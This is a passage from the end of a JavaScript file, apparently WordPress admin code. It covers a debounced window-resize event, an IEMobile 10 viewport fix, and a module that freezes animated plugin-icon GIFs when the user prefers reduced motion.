2207 * @return {void}
2208 */
2209 function triggerEvent() {
2210 $document.trigger( 'wp-window-resized' );
2211 }
2212
2213 /**
2214 * Fires the trigger event again after 200 ms.
2215 *
2216 * @since 3.8.0
2217 *
2218 * @return {void}
2219 */
2220 function fireOnce() {
2221 window.clearTimeout( timeout );
2222 timeout = window.setTimeout( triggerEvent, 200 );
2223 }
2224
2225 $window.on( 'resize.wp-fire-once', fireOnce );
2226}());
2227
2228// Make Windows 8 devices play along nicely.
2229(function(){
2230 if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) {
2231 var msViewportStyle = document.createElement( 'style' );
2232 msViewportStyle.appendChild(
2233 document.createTextNode( '@-ms-viewport{width:auto!important}' )
2234 );
2235 document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle );
2236 }
2237})();
2238
2239}( jQuery, window ));
2240
2241/**
2242 * Freeze animated plugin icons when reduced motion is enabled.
2243 *
2244 * When the user has enabled the 'prefers-reduced-motion' setting, this module
2245 * stops animations for all GIFs on the page with the class 'plugin-icon' or
2246 * plugin icon images in the update plugins table.
2247 *
2248 * @since 6.4.0
2249 */
2250(function() {
2251 // Private variables and methods.
2252 var priv = {},
2253 pub = {},
2254 mediaQuery;
2255
2256 // Initialize pauseAll to false; it will be set to true if reduced motion is preferred.
2257 priv.pauseAll = false;
2258 if ( window.matchMedia ) {
2259 mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
2260 if ( ! mediaQuery || mediaQuery.matches ) {
2261 priv.pauseAll = true;
2262 }
2263 }
2264
2265 // Method to replace animated GIFs with a static frame.
2266 priv.freezeAnimatedPluginIcons = function( img ) {
2267 var coverImage = function() {
2268 var width = img.width;
2269 var height = img.height;
2270 var canvas = document.createElement( 'canvas' );
2271
2272 // Set canvas dimensions.
2273 canvas.width = width;
2274 canvas.height = height;
2275
2276 // Copy classes from the image to the canvas.
2277 canvas.className = img.className;
2278
2279 // Check if the image is inside a specific table.
2280 var isInsideUpdateTable = img.closest( '#update-plugins-table' );
2281
2282 if ( isInsideUpdateTable ) {
2283 // Transfer computed styles from image to canvas.
2284 var computedStyles = window.getComputedStyle( img ),
2285 i, max;
2286 for ( i = 0, max = computedStyles.length; i < max; i++ ) {
2287 var propName = computedStyles[ i ];
2288 var propValue = computedStyles.getPropertyValue( propName );
2289 canvas.style[ propName ] = propValue;
2290 }
2291 }
2292
2293 // Draw the image onto the canvas.
2294 canvas.getContext( '2d' ).drawImage( img, 0, 0, width, height );
2295
2296 // Set accessibility attributes on canvas.
2297 canvas.setAttribute( 'aria-hidden', 'true' );
2298 canvas.setAttribute( 'role', 'presentation' );
2299
2300 // Insert canvas before the image and set the image to be near-invisible.
2301 var parent = img.parentNode;
2302 parent.insertBefore( canvas, img );
2303 img.style.opacity = 0.01;
2304 img.style.width = '0px';
2305 img.style.height = '0px';
2306 };
2307
2308 // If the image is already loaded, apply the coverImage function.
2309 if ( img.complete ) {
2310 coverImage();
2311 } else {
2312 // Otherwise, wait for the image to load.
2313 img.addEventListener( 'load', coverImage, true );
2314 }
2315 };
2316
2317 // Public method to freeze all relevant GIFs on the page.
2318 pub.freezeAll = function() {
2319 var images = document.querySelectorAll( '.plugin-icon, #update-plugins-table img' );
2320 for ( var x = 0; x < images.length; x++ ) {
2321 if ( /\.gif(?:\?|$)/i.test( images[ x ].src ) ) {
2322 priv.freezeAnimatedPluginIcons( images[ x ] );
2323 }
2324 }
2325 };
2326
2327 // Only run the freezeAll method if the user prefers reduced motion.
2328 if ( true === priv.pauseAll ) {
2329 pub.freezeAll();
2330 }
2331
2332 // Listen for jQuery AJAX events.
2333 ( function( $ ) {
2334 if ( window.pagenow === 'plugin-install' ) {
2335 // Only listen for ajaxComplete if this is the plugin-install.php page.
2336 $( document ).ajaxComplete( function( event, xhr, settings ) {
2337
2338 // Check if this is the 'search-install-plugins' request.
2339 if ( settings.data && typeof settings.data === 'string' && settings.data.includes( 'action=search-install-plugins' ) ) {
2340 // Recheck if the user prefers reduced motion.
2341 if ( window.matchMedia ) {
2342 var mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
2343 if ( mediaQuery.matches ) {
2344 pub.freezeAll();
2345 }
2346 } else {
2347 // Fallback for browsers that don't support matchMedia.
2348 if ( true === priv.pauseAll ) {
2349 pub.freezeAll();
2350 }
2351 }
2352 }
2353 } );
2354 }
2355 } )( jQuery );
2356
2357 // Expose public methods.
2358 return pub;
2359})();
2360